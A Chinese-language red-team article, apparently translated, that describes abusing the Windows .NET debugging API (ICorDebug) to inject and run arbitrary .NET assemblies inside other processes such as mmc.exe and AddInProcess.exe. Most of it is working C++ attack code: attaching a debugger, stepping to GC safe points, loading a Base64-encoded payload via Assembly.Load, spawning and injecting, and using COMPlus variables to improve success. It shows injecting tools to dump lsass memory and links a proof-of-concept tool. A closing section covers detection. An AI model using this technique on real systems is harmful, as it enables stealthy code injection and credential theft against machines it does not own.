红队新思路:利用Windows调试框架在.NET进程内直接调用.NET方法

 

0x00 概述

目前,用于后漏洞利用阶段的.NET仍然存在。这些利用方式已经与大多数C2框架捆绑在一起,移植到通用工具中,添加了AMSI的绕过方式,并使用非常巧妙的方法来运行非托管代码。但是,加载.NET程序集的过程似乎非常一致。
我们知道,像Cobalt Strike的execute-assembly这样的工具,极大地提高了从内存中加载.NET程序集的可访问性,大多数攻击者都会以各种各样的方式去使用它。考虑到这种趋势,蓝队也逐渐擅长于寻找内存中遗留的痕迹。但是,作为攻击者,我们仍然发现目前在进程中启动.NET代码的方法都非常相似的问题,无论目标是托管进程还是非托管进程。举例来说,如果我们希望将托管代码注入到进程中,即使目标是已经加载了CLR的.NET进程,我们通常也会采用以下路径:

这个问题已经困扰了我好多年,所以我花费了几个晚上的时间,研究可以更改签名的潜在方法。我的目标很简单,尝试找到一种在.NET进程中直接调用.NET方法的方法,不必再将Shellcode或rDLL特意注入到非托管空间中,可以仅抓住与CLR的接口,并加载一个.NET程序集。

本文将探讨实现上述目标的一种潜在方式,通过利用Windows公开的调试框架,我们可以看到使用调试API在目标进程中调用任意.NET代码所需要的内容。

 

0x01 关于ICorDebug

正如我们在Visual Studio中看到的,.NET具有非常强大的调试功能,并且提供了在附加进程中执行代码的能力:

在我的脑海里,已经思考在.NET进程中执行特定方法的简单方式,应该有一种方法可以模拟该功能,以使.NET进程中的代码在不加载Shellcode和完整.NET程序集的情况下实现执行。我希望使用一种DebuggerEvaluateCSharpInThisProcess方法,但后来发现不存在这样的方法。但是,有一个非常复杂但相关文档完善的API,借助它可以让我们以编程方式利用.NET调试的功能。

ICorDebug是这个.NET调试的入口点,它提供了大量功能,允许我们可以控制.NET进程。我们可以设计一个简单的调试器,将其附加到我们选择的进程中,并开始探索这个API。

 

0x02 创建调试器

我们需要关注的第一件事,是IcorDebug实例。使用与当前.NET注入方法完全相同的调用,我们可以枚举并选择.NET框架的安装版本:

if ((hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID *)&metaHost)) != S_OK)
{
  return hr;
}

if ((hr = metaHost->EnumerateInstalledRuntimes(&runtime)) != S_OK)
{
  return hr;
}

frameworkName = (LPWSTR)LocalAlloc(LPTR, 2048);
if (frameworkName == NULL)
{
  return E_OUTOFMEMORY;
}

while (runtime->Next(1, &enumRuntime, 0) == S_OK)
{
  if (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK)
  {
    if (runtimeInfo != NULL)
    {
      runtimeInfo->GetVersionString(frameworkName, &bytes);
      wprintf(L"[*] Supported Framework: %s\\n", frameworkName);
    }
  }
}

这里是存在变化的地方,一旦确定了需要使用的运行时,我们就可以不再像通常直接从注入的DLL中运行.NET代码时一样去请求ICLRRuntimeHost实例,而是初始化ICorDebug接口的实例。这里的主要区别在于,我们的新方法会附加到另一个.NET进程,而不再需要将我们自己的代码注入到非托管空间并加载CLR。

使用以下代码创建ICorDebug实例:

// Create our debugging interface
ICorDebug *debug;
ICorDebugProcess *process;

if ((hr = runtimeInfo->GetInterface(CLSID_CLRDebuggingLegacy, IID_ICorDebug, (LPVOID *)&debug)) != S_OK)
{
  return hr;
}

// Initialise the debugger
debug->Initialize();

// Attach to an existing process by PID
debug->DebugActiveProcess(1234, false, &process);

现在,已经对接口完成了初始化,可以暂停一下,探索这个调试框架是如何与目标进程进行交互的。下面是对各个组件的更高级别的概述:

这看上去似乎非常复杂,在我第一次使用API时,我也阅读了很多遍文档,才理解了其中的一部分内容。需要强调的一个地方是,调试器API首先会响应从目标进程触发的调试事件。例如,如果引发异常,我们会收到一个事件。如果将新程序集加载到目标,或者创建了一个新线程,那么就会收到一个事件。并且,每次触发事件时,我们都有机会与进入“已停止”状态的目标进行交互,然后再恢复执行,并等待其他事件。

通常,当我们与调试的.NET进程进行交互时,该进程都需要处于停止状态。在尝试与正在运行的进程进行交互时,我们将看到一个常见错误:

要在事件之外手动停止和恢复进程,我们可以调用以下通过ICorDebugController公开的方法:

// Stop execution of our target
debug->Stop(0);

// Resume execution of our target
debug->Continue(0);

因此,现在我们需要对即将处理的内容有更多的了解,需要有能力处理那些在连接到目标的完整时间周期中可能发生的异步事件。为此,我们构造了一个类,该类同时实现ICorDebugManagedCallbackICorDebugManagedCallback2接口。如下所示:

class ManagedCallback : public ICorDebugManagedCallback, public ICorDebugManagedCallback2
{
  ...
}

我们可以在这里的文档中,找到需要实现的回调事件的完整列表。在这篇文章中,我们就不再一一介绍,因为我们只需要关注其中的几个,就能够实现将代码注入到.NET进程的目标。为清晰起见,我们可以快速看一下如何处理触发断点这类情况:

HRESULT ManagedCallback::Breakpoint(ICorDebugAppDomain *pAppDomain, ICorDebugThread *pThread, ICorDebugBreakpoint *pBreakpoint)
{
  // Execution of the target is stopped when we enter this event handler
  // Here we can do whatever we want (within reason ;)
  //
    DoSomethingInteresting();
  //
  // And we then resume execution before returning from our event handler
  pAppDomain->Continue(false);
  return S_OK;
}

正如我们之前所讨论的,每次调用托管回调方法时,都会停止执行目标。这意味着,我们需要在准备就绪之后去调用Continue(...)以恢复执行。如果这一步失败了,我们就不会得到太多的目标。

在构建托管回调类之后,我们需要使用以下方法,将其与ICorDebug对象关联:

ManagedCallback* handler = new ManagedCallback();
return debug->SetManagedHandler(handler);

至此,调试器已经准备就绪,可以投入使用。现在,我们需要关注如何在目标中获得任意代码执行。

注入什么?

让我们从简单的工作入手,尝试调用.NET方法,该方法会将程序集从磁盘加载到目标进程中。为此,我们可以尝试远程调用具有以下签名的.NET方法Assembly.LoadFile:

public static System.Reflection.Assembly LoadFile (string path);

要在.NET进程调用任意代码,我们需要ICorDebugEval接口的实例。顾名思义,这个实例公开了在目标.NET运行时评估代码所需的几种方法。

其中的一个方法是ICorDebugEval::CallFunction,它允许我们直接调用.NET方法,在案例中就是Assembly.LoadFile。我们还需要创建一个新的System.String对象作为参数传递。这是使用ICorDebugEval::NewString来完成的。

但是,实际上在什么时候调用这些方法?事实证明,这是使用ICorDebugEval接口的比较复杂的功能之一,因为目标需要处于我们可以实际评估代码的状态。

如果我们尝试在错误的位置评估代码,则会产生以下错误:

所以,这里的错误0x80131c23和“GC unsafe point”是什么意思?遗憾的是,关于这个特定的HRESULT并没有很多相关的文档可以查阅,但经过一番挖掘,我们找到了这篇文章,其中解释说:

“当JIT编译器编译方法时,它可以插入对检查GC是否挂起的特殊函数的调用。一旦这样,线程将会被挂起,GC将运行直至完成,然后继续执行该线程。编译器插入这些方法调用的位置被称为GC安全点”。

因此,从本质上说,我们需要以一种类似进行垃圾回收的方式安全地评估代码。

事实证明,如果毫无头绪地直接寻找满足要求的时机可能会比较棘手,因为我们没有可以参考的源代码或PDB。但是,有一种简单的方式,我们可以使用ICorDebugStepper实例的附加进程。这个接口可以让我们像使用标准调试器一样,逐步浏览托管代码。如果我们重复执行此操作,最后将可以找到一个可以评估所需.NET代码的安全点,这种方法应该是可行的。

实际上,这种技术看上去效果不错,但当我们尝试在目标CLR正在JIT某个IL的点时,挂起的应用程序不太可能能够让我们注入代码。不过,有一些可以选择的目标(以及我们稍后讨论的一些COMPlus变量)可以让这个过程变得更容易,我们会在后面详细讨论。

现在,在继续创建步进器之前,可以重点介绍.NET应用程序的组件可以如何映射到调试器API,这将有助于我们后续理解一些PoC代码。看上去,它类似于:

要创建步进器,我们需要找到一个与之关联的活动线程。我们可以通过使用ICorDebugProcess::EnumerateThreadsICorDebugAppDomain::EnumerateThreads枚举现有的线程来实现这一点,从而允许我们检索ICorDebugThread实例数组。

需要注意的是,尽管我们在这里说的是线程,但必须要注意,它们实际上表示“托管线程”,不同于我们通常处理的传统操作系统线程。在文档中,这些术语并没有区分开来,但对于调试器API来说,这非常重要。

通过收集活动线程列表,我们可以使用ICorDebugThread::CreateStepper方法创建并关联步进器。

我们需要确保在连接后,要向目标进程可能产生的所有新线程添加步进器。通过我们的托管回调处理程序,在发生值得关注的事件时,会有一个方法被调用。我们将根据需要,使用CreateThread事件添加其他步进器:

HRESULT ManagedCallback::CreateThread(ICorDebugAppDomain *pAppDomain, ICorDebugThread *thread)
{
  // Create a stepper
  ICorDebugStepper *stepper;
  thread->CreateStepper(&stepper);

  // Step through code
  stepper->Step(0);

  // Continue execution of our assembly
  pAppDomain->Continue(false);
  return S_OK;
}

在创建步进器后、继续执行目标之前,我们将使用ICorDebugStepper::Step方法触发代码执行的步骤。一旦发生了某个步骤,就会通过事件再次提醒我们的ManagedCallback::StepComplete处理程序。在这里,我们可以尝试评估线程中的一些代码。

用于确定我们是否位于GC安全点的一个好方法,就是尝试在目标进程中创建一个新的字符串对象,随后将其用作Assembly.LoadFile调用的参数:

HRESULT ManagedCallback::StepComplete(ICorDebugAppDomain *pAppDomain, ICorDebugThread *pThread, ICorDebugStepper *pStepper, CorDebugStepReason reason)
{
  ICorDebugEval *eval;
  bool stepAgain = false;

  // Create our eval instance
  if (pThread->CreateEval(&eval) != S_OK)
  {
    stepAgain = true;
  }

  // Request a new string is created within the .NET process
  if (eval->NewString(L"C:\\test.dll") != S_OK)
  {
    // If we land here, chances are we aren't in a GC safe point, so we need 
    // to step again until we are
    stepAgain = true;
  }

  // If we were unable to create our string, we continue stepping until we can
  if (stepAgain) {
    pStepper->Step(0);
  } else {
  // If we were successful, we stop our stepper as we no longer require it
    pStepper->Deactivate();
  }

  // Continue our targets execution
  pAppDomain->Continue(false);
  return S_OK;
}

在这里,我们只是尝试使用ICorDebugEval::NewString方法在目标进程中创建System.String.NET对象。如果得到了成功事件,就可以证明我们正位于GC安全点,随后就可以停止单步执行代码,只要能够保证我们评估的代码可以正常工作,就可以继续安全地执行应用程序。如果无法创建字符串,则继续步进并重试。

一旦能够成功执行ICorDebugEval::NewString方法,接下来就需要等待调试器触发一个事件,该事件表明我们的评估已经完成。这是通过API调用ManagedCallback::EvalComplete回调来实现的。在这里,我们检索对创建的字符串的引用:

HRESULT ManagedCallback::EvalComplete(ICorDebugAppDomain *pAppDomain, ICorDebugThread *pThread, ICorDebugEval *pEval)
{
  // Will reference our System.String object
  ICorDebugValue *value;

  // Retreive our System.String object reference
  if (pEval->GetResult(&value) != S_OK)
  {
    return S_OK;
  }

  pAppDomain->Continue(false);
  return S_OK;
}

将字符串对象存储在内存中后,接下来我们需要将该字符串传递给.NET方法Assembly.LoadFile。同样,我们可以通过ICorDebugEval进行该操作,但是首先需要检索对该方法的引用。为此,我们使用了另一个接口IMetaDataImport。这样,我们就可以从正在运行的进程中枚举一系列有用的信息,包括目标中可用的类型和方法。
首先,我们需要检索对.NET类型System.Reflection.Assembly的引用。为了简洁起见,我删减了以下代码(完整示例可以在文章结尾的PoC位置找到),检索类型引用类似如下:

HRESULT Debugger::FindAssemblyByName(ICorDebugAssembly **assembly, std::vector<ICorDebugAssembly *> *assemblies, std::wstring name)
{
  ULONG32 inputLen = 1024;
  WCHAR assemblyName[1024];
  ULONG32 outputLen = 0;

  for (int i = 0; i < assemblies->size(); i++)
  {
    if (assemblies->at(i)->GetName(inputLen, &outputLen, assemblyName) == S_OK)
    {
      std::wstring asmName(assemblyName);
      if (asmName.find(name.c_str(), 0) != std::string::npos)
      {
        // We have found our target assembly
        *assembly = assemblies->at(i);
        return S_OK;
        }
      }
    }
    return E_FAIL;
  }

...

if (Debugger::FindAssemblyByName(&assembly, assemblies, "mscorlib.dll") != S_OK) {
  return E_FAIL;
}

if (Debugger::GetModules(&modules, assembly) != S_OK) {
  return E_FAIL;
}

modules->at(0)->GetMetaDataInterface(IID_IMetaDataImport, (IUnknown**)&metadata);

// Retrieve a reference to our type
hr = metadata->FindTypeDefByName("System.Runtime.Assembly", NULL, &typeDef);

一旦有了对.NET类型的引用,就需要找到对方法LoadFile的引用:

if (!SUCCEEDED((hr = metadata->EnumMethods(&enumnum, typeDef, methodDefs, 1000, &count)))) {
  return E_FAIL;
}

for (auto methodDef : methodDefs)
{
  // Retrieve information on this method
  metadata->GetMethodProps(methodDef, &typeDef, name, 1024, &nameLen, &flags, &sig, &sigLen, &rva, &implFlags);

  // See if this matches 
  if (wcsncmp(L"LoadFile", name, 8 + 1) == 0)
  {
    module->GetFunctionFromToken(methodDef, function);
    return S_OK;
  }
}

return E_FAIL;

一旦有了目标引用,我们就可以直接将方法与我们的字符串参数一起调用:

pEval->CallFunction(function, 1, &value);

至此,我们的程序集将被加载,并位于目标进程中。接下来就是从已加载的程序集中调用静态方法:

...
Debugger::FindMethod(&function, pAppDomain, L"test.dll", L"testnamespace.testmethod", L"Entry");

pEval->CallFunction(function, 0, NULL);
...

如果一切顺利,现在恶意程序集已经加载,注入的代码已经运行:

当然,从磁盘加载程序集并不理想,如果想要使用Assembly.Load方法从内存中加载程序集难度又如何呢?只要我们可以调用所需的任意.NET方法,并对ICorDebugEval回调的处理方式进行一些调整,我们就可以将其组合在一起,加载Base64编码后的Payload,如下所示:

// StepComplete Callback
//
// Load our Base64 encoded assembly string
if ((hr = eval->NewString(BASE64_ENCODED_ASSEMBLY)) != S_OK)
{
  pStepper->Step(0);
  return false;
}

...

// EvalComplete Callback 1
//
// Decode using System.Convert.FromBase64String
if (Debugger::FindMethod(&function, pAppDomain, L"mscorlib.dll", L"System.Convert", L"FromBase64String", 0) != S_OK)
{
  std::cout << "[!] Fatal: Could not find method System.Convert.FromBase64String in mscorlib.dll" << std::endl;
  exit(2);
}
pEval->CallFunction(function, 1, &value);

...

// EvalComplete Callback 2
//
// Use Assembly.Load to load our assembly in memory
if (Debugger::FindMethod(&function, pAppDomain, L"mscorlib.dll", L"System.Reflection.Assembly", L"Load", 7) != S_OK)
{
  std::cout << "[!] Fatal: Could not find method System.Reflection.Assembly.LoadFile in mscorlib.dll" << std::endl;
  exit(2);
}
pEval->CallFunction(function, 1, &value);

 

0x02 分离

现在,我们已经注入了代码,我们可以选择将其放置在目标进程上,或者选择分离调试器并允许目标继续自行执行。

要进行分离,只需要一个简单的调用:

debug->Detach();

但是,如果要分离目标,并允许其继续执行,保证不会被终止,则需要首先满足许多条件。我们需要:

1、停止当前连接到线程的所有步进器。
2、完成所有的代码评估。
3、必须通过调用ICorDebug::Stop或通过回调事件处理程序以保证位于同步状态中。

其中的1和3非常容易实现,重点就是要关注一下其中的第2项。我们以一个比较简单的.NET方法为例,该方法要在目标中执行:

namespace Injected {
  class Injected {
    public static void Entry() {
      while(true) {
        Console.WriteLine("I'm in...");
        Thread.Sleep(2000);
      }
    }
  }
}

然后,我们通过以下方式请求执行此代码:

pEval->CallFunction(function, 0, NULL);

我们会发现,我们无法彻底分离进程。这是因为不满足其中的第2个条件,因为我们的代码评估永远不会返回,因此EvalComplete回调永远不会发生。这也就是说,任何分离的尝试都会产生CORDBG_E_DETACH_FAILED_OUTSTANDING_EVALS错误。

因此,我们始终需要确保初始代码执行返回,并在尝试分离之前处理回调。尽管如此,我们还是来看一些典型目标的示例,并了解如何使用它们执行一些常见的后漏洞利用工具。

 

0x03 标准注入

为了在运行的进程中执行我们的代码,我们需要找到一个不会闲置的目标。实际上,我们需要寻找一个非常活跃的目标,可以让代码得到JIT处理。

一个潜在目标是eventvwr.exe,它实际上会在加载.NET运行时生成mmc.exe。由于这个进程会在后台处理事件,因此它也就成为了这类技术的理想目标。

那么,我们如何才能在这个进程中执行.NET方法呢?首先生成事件查看器,以便我们可以使用一些东西:

STARTUPINFOW si;
PROCESS_INFORMATION pi;
HRESULT hr;

memset(&si, 0, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);

CreateProcessW(
    L"C:\\\\Windows\\\\System32\\\\eventvwr.exe",
    NULL,
    NULL,
    NULL,
    false,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL,
    &si,
    &pi);

现在,我们已经生成了进程,接下来需要使用ICorDebug::DebugActiveProcess方法连接调试器:

ICorDebugProcess *process;
debug->DebugActiveProcess(PID, false, &process);

连接完成后,我们可以使用上面显示的相同步骤执行任意.NET方法,或者使用我们的PoC加载任意.NET程序集。我们尝试加载ShareDump,以表明我们可以控制进程,并有可能允许我们转储lsass.exe内存:
https://youtu.be/obTMt7_yyCQ

 

0x04 量身定制注入

我们可以看到,在执行注入eventvwr.exe之类的进程时,执行.NET Payload非常容易,所以可以针对目标进程本身定制注入。这里以与.NET框架捆绑在一起的另一个.NET进程AddInProcess.exe为例,如果我们对其进行反编译,会发现它有两个参数:

第一个参数是GUID,用于创建通过命名管道侦听的IPC服务器:

第二个参数是进程的PID,该进程被监视并阻塞主线程,直至目标进程退出:

这意味着,尽管进程将处于闲置状态(不满足我们运行JIT的要求),但实际上我们可以附加调试器,然后与IPC服务建立连接,触发代码的JIT以将步进器放置在GC安全点,从而允许代码注入。

对于这个示例,我们尝试将Seatbelt注入AddInProcess.exe,然后查看其外观。我们不会重定向I/O,而是手动触发命名管道连接,因此就可以准确了解正在发生的情况:

https://youtu.be/9mhO_wBVI10

 

0x05 派生和注入

因此,我们已经尝试注入现有进程,并设计Payload来触发特定应用程序状态。但是,如果我们只是想立即派生并注入新进程,以实现恶意代码的迁移,应该如何操作呢?可以使用ICorDebug公开的CreateProcessW包装器来完全实现:

debug->CreateProcessW(
    L"C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\AddInUtil.exe",
    NULL,
    NULL,
    NULL,
    false,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL,
    &si,
    &pi,
    (CorDebugCreateProcessFlags)0,
    &this->process);

在这一过程中,可以调整为自己了解或喜欢的参数,并使用新的父进程或环节策略。这也让寻找安全点的工作变得轻松很多,因为我们知道,在进程派生时,JIT会给我们足够的时间到达GC安全点。

现在,尝试在新的.NET进程中调用任意.NET方法时,我们需要考虑一些因素,主要是应用程序在运行Payload的情况下执行的时间长短。如果目标只是打印一些帮助并退出,那对于注入Payload来说没有多大用处。

避免这个限制的一种方法是制作.NET Payload以生成其他托管线程。由于.NET支持后台和前台托管线程的概念,因此我们发现即使Main()函数返回,生成的前台线程也会阻塞目标的退出,然后就可以继续运行注入的代码。

例如,我们以一个非常简单的.NET Payload为例:

namespace Injected {
  class Injected {
    public static void ThreadEntry() {
      while(True) {
        Console.WriteLine("Injected... we're in!");
        Thread.Sleep(1000);
      }
    }

    public static void Entry() {
      var thread = new System.Threading.Thread(new ThreadStart(ThreadEntry));
      thread.Start(); 
    }
  }
}

现在观察一下,将其注入到各种派生的进程中:

https://youtu.be/CsCnlndKC1c

 

0x06 增加成功概率

在前面的示例中,我展示了一些实际案例。但是,有一些因素可能会破坏我们的计划,其中最典型的就是ngen(本地映像),它们是准JIT预编译的二进制文件,已加载到.NET进程中,目的是为了加快执行速度。当我们遇到这类情况,注入将会变得非常困难。同时,还有.NET优化进程,会再次减少我们在某些进程中找到GC安全点的概率。

那么,有什么方法可以避免这种情况?事实证明,可以使用COMPlus环境变量。有两个特定的设置可以大大增加成功概率,分别是COMPlus_JITMinOptsCOMPlus_ZapDisable。实际上,与x64相比,x86进程似乎更需要解决这个问题。

让我们对比在设置环境变量前后的区别:

https://youtu.be/0iNnYe0Zsfo

 

0x07 概念证明

在本文的研究过程中,我发布了一个概念证明工具,可以用于探索本文所讨论的一些概念。该工具可以在GitHub找到( https://github.com/xpn/DotNetDebug )。

在编译后,将按照以下方式启动PoC:

DotNetDebug.exe attach mmc.exe
DotNetDebug.exe attachpid 1234
DotNetDebug.exe launch C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInProcess.exe

默认情况下,这个PoC会在目标中执行Assembly.Load方法,以暂存.NET程序集,该程序集将依次从C:\Windows\Temp\inject.exe加载代码。借助PoC,我们可以测试一些其他工具,同时我们还可以修改PoC,以执行所需的任何操作。

 

0x08 检测

在拥有了一个如何使用调试器API来执行.NET进程中任意方法的思路后,我们还需要站在防御者的角度,考虑如何检测其使用(滥用)情况。在这里,我不会深入探讨Windows调试子系统,因为已经有一系列优秀的研究文章描述了用户模式调试的内部原理。在这里,我们重点来分析一些有助于检测的位置。

首先是进程到进程的交互,例如,调试框架在附加到目标时会调用哪些值得关注的API?与大多数注入方式一样,这里有WriteProcessMemory,在整个调试会话中都大量使用它来修改目标进程。

其次,在远程进程中需要实际的线程来触发断点。如果要附加到现有进程,需要用到kernelbase!DebugActiveProcess的API方法,但是如果在调用此方法时查看调用堆栈的最低点,会找到以下内容:

ntdll!NtCreateThreadEx的调用负责在远程进程中创建线程。用于这个远程线程的入口点是ntdll!DbgUiRemoteBreakin,它用来触发挂起目标的断点,并向我们的调试器发出事件。当然,这也就表示基于传统分配的内存入口点的注入线程搜索将不会起作用,因为线程的初始地址是ntdll函数的地址,但是对DbgUiRemoteBreakin的特定调用可以表明某种形式的操作正在发生。

此外,Sysmon提供了一个不错的CreateRemoteThread指示器,可以将入口点显示为DbgUiRemoteBreakin,对于防御者来说可能很有帮助。

上述情况还是仅适用于在现有的进程中寻找.NET代码。如果像上文的最后一个示例那样,我们连接调试器来启动新的.NET进程,那么就不会看到这个远程线程的创建,因此无法检测到。这是因为通过DEBUG_PROCESSCreateProcess选项创建初始调试器会话的方式,在此过程中从来不会使用ntdll!NtCreateThreadEx调用。但是,如果后续使用了DebugBreakProcess这样的调用,也会导致被检测到。

接下来,我们还必须考虑在调试过程中,可以使用几个API来指示正在连接的活跃调试器。例如,使用目标进程句柄调用CheckRemoteDebuggerPresent,可以显示调试器会话是否处于活跃状态。

像是ProcessHacker这样的工具,还可以突出显示特定进程,以表示调试器会话的存在:

当然,现在只有在调试器会话处于活动状态时,才会被发现。因此,如果执行代码后调试器会话停止了,就不会再被检测到。

总而言之,希望通过这篇文章能让大家有更多的了解。我相信可以对本文提到的方法再进行一些优化,包括可以增加对某些特征检测的防范。但不论如何,能直接在运行中的.NET进程中执行任意.NET方法,这还是非常酷。根据目标环境的不同,这种方法可能还会带来一些额外的优势。

 

0x09 参考链接

[1] https://googleprojectzero.blogspot.com/2019/04/windows-exploitation-tricks-abusing.html
[2] http://index-of.es/Windows/dbgk-1.pdf
[3] https://mattwarren.org/2016/08/08/GC-Pauses-and-Safe-Points/
[4] https://github.com/Samsung/netcoredbg

(完)